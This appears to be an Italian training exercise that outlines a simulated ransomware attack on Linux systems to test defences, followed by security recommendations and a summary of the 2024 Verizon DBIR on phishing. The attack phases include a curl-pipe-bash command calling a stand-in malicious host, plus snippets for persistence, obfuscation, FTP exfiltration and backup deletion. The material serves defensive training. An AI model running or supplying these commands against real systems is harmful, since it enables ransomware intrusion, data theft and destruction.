

Traccia:

Crea un prompt che aiuti la tua organizzazione a implementare delle misure di sicurezza contro il ransomware partendo da una simulazione di attacco.

Scenario d'attacco avanzato: Operazione "DarkCry"

Obiettivo dello scenario:

1. Testare la resilienza dei sistemi Linux contro un attacco ransomware avanzato.
2. Valutare la prontezza delle difese, inclusi backup, monitoraggio e risposta agli incidenti.
3. Simulare un attacco realistico con movimenti laterali, persistenza e offuscamento.

Fasi dell'attacco

Fase 1: Infiltrazione iniziale

- **Tecnica:** Phishing mirato con allegato malevolo o sfruttamento di una vulnerabilità nota (es. servizio esposto).
- **Simulazione:**
 1. Crea uno script malevolo in Python/Bash.
 2. Fai in modo che venga eseguito da un "utente inconsapevole" (es. un cron job programmato per simularne l'attivazione).
 3. Esempio di attivazione tramite un comando di phishing simulato:

```
bash  
curl http://malicious-server.com/malware.sh | bash
```

Fase 2: Ricognizione

- **Tecnica:** Identificare directory sensibili, backup, file di configurazione.
- **Simulazione:**
Utilizza uno script Python che:
 - Esplora directory sensibili (/home, /var, /etc).
 - Cerca file con estensioni target (es. .conf, .txt, .log).
 - **Esempio:**

```
python
import os
TARGET_EXTENSIONS = ['.txt', '.conf', '.log']
def reconnaissance(directory):
    for root, _, files in os.walk(directory):
        for file in files:
            if any(file.endswith(ext) for ext in TARGET_EXTENSIONS):
                print(f"File trovato: {os.path.join(root, file)}")
reconnaissance("/home")
```

Fase 3: Crittografia

- **Tecnica:** Crittografia dei file identificati con chiave simmetrica.
- **Simulazione:**
 - Usa Fernet o OpenSSL per crittografare i file.
 - Sovrascrivi i file originali con quelli crittografati.
 - Rendi i file irrecuperabili senza la chiave.

Fase 4: Persistenza

- **Tecnica:** Creare un cron job o un servizio di sistema che riavvii il ransomware al reboot.
- **Simulazione:**
 - Crea un cron job con Python:

```
python
import subprocess
persistence_command = '@reboot python3
/home/test_directory/ransomware_simulation_advanced.py'
subprocess.run(f"(crontab -l; echo '{persistence_command}') |
crontab -", shell=True)
```

- Alternativamente, crea un servizio systemd.

Fase 5: Offuscamento

- **Tecnica:** Camuffare il codice e rendere difficile la rilevazione.
- **Simulazione:**
 - Usa nomi di file innocui (es. update_patch.sh).
 - Rendi lo script meno leggibile con strumenti di offuscamento Python come pyarmor:

```
bash
pip install pyarmor
pyarmor pack -x 3 ransomware_simulation_advanced.py
```

Fase 6: Esfiltrazione dei dati

- **Tecnica:** Copiare file sensibili prima della crittografia per aumentare

la pressione.

- **Simulazione:**
 - Usa un servizio simulato di upload (es. un server FTP di test).
 - Esempio:

```
python
from ftplib import FTP
ftp = FTP('127.0.0.1')
ftp.login('user', 'password')
with open('/home/test_directory/file.txt', 'rb') as f:
    ftp.storbinary('STOR file.txt', f)
ftp.quit()
```

Fase 7: Eliminazione dei backup

- **Tecnica:** Rimuovere snapshot o file di backup.
- **Simulazione:**
 - Identifica directory di backup o usa comandi come:

```
bash
rm -rf /home/test_directory/backup
```

Fase 8: Richiesta di riscatto

- **Tecnica:** Lasciare una nota con istruzioni per il pagamento.
- **Simulazione:**
 - Crea un file README_FOR_RECOVERY.txt in ogni directory crittografata.
 - Contenuto esempio:

```
css
I tuoi file sono stati crittografati!
Per recuperarli, invia 1 BTC a questo indirizzo: 123abc456def.
Contatta: fake@ransomware.com
```

Implementazioni generali

Formazione del personale:

Simulazioni regolari di phishing e programmi di sensibilizzazione.

Backup regolari:

Backup giornalieri offline e test periodici del ripristino.
Mantenere una copia crittografata dei dati critici offsite.

Zero Trust Architecture:

Ogni utente, dispositivo e applicazione deve essere verificato

continuamente.

Simulazioni periodiche di attacco:

Eseguire penetration test regolari per identificare vulnerabilità.

Incident Response Plan (IRP):

Un piano dettagliato che definisce le azioni da intraprendere in caso di attacco.

Facoltativo:

1. Scarica l'ultimo Data Breach Investigations Report (DBIR) di Verizon (non richiede registrazione):

<https://www.verizon.com/business/resources/reports/dbir/>

2. Chiedi a ChatGPT un riassunto del report

3. Chiedi le informazioni su phishing e social engineering contenute nel report

Il **2024 Data Breach Investigations Report (DBIR)** fornisce una panoramica dettagliata delle tendenze in ambito di violazioni dei dati, inclusi attacchi di phishing e ingegneria sociale. Di seguito una sintesi delle sezioni principali rilevanti:

Phishing

- **Frequenza:** Il phishing continua a essere un vettore primario per gli attacchi, in particolare per acquisire credenziali e dati sensibili.
- **Comportamento degli utenti:**
 - Nel 2023, il 20% degli utenti ha segnalato e-mail di phishing in simulazioni di esercitazione.
 - Tuttavia, il tempo medio per cliccare su un link malevolo è stato di soli 21 secondi, con ulteriori 28 secondi necessari per inserire dati compromettenti.
 - Il tempo complessivo per cadere in uno schema di phishing è inferiore a 60 secondi.
- **Obiettivi principali:** Email aziendali, credenziali di accesso e accesso a sistemi collaborativi cloud-based sono i target principali.

Social Engineering

- **Ingegneria sociale:** Rappresenta una tecnica che sfrutta la manipolazione psicologica per indurre le persone a compiere azioni o divulgare informazioni riservate.
- **Tipologie principali:**
 - **Pretexting:** Tecnica avanzata che spesso si traduce in compromissioni di email aziendali (BEC - Business Email

Compromise).

- **Phishing tradizionale:** Rimane diffuso ma il pretexting sta diventando sempre più comune, con una crescita significativa rispetto al passato.
- **Settori colpiti:** La maggior parte dei settori industriali è vulnerabile a queste minacce, con una crescente attenzione ai settori finanziari e pubblici.

Raccomandazioni

- **Formazione:** Incrementare la consapevolezza degli utenti è fondamentale per ridurre il numero di violazioni causate dal fattore umano.
- **Automazione della sicurezza:** Ridurre la dipendenza da processi manuali che possono essere sfruttati dagli attori delle minacce.
- **Protezione delle applicazioni web:** Questi strumenti sono spesso il punto d'ingresso per attacchi che utilizzano vulnerabilità note.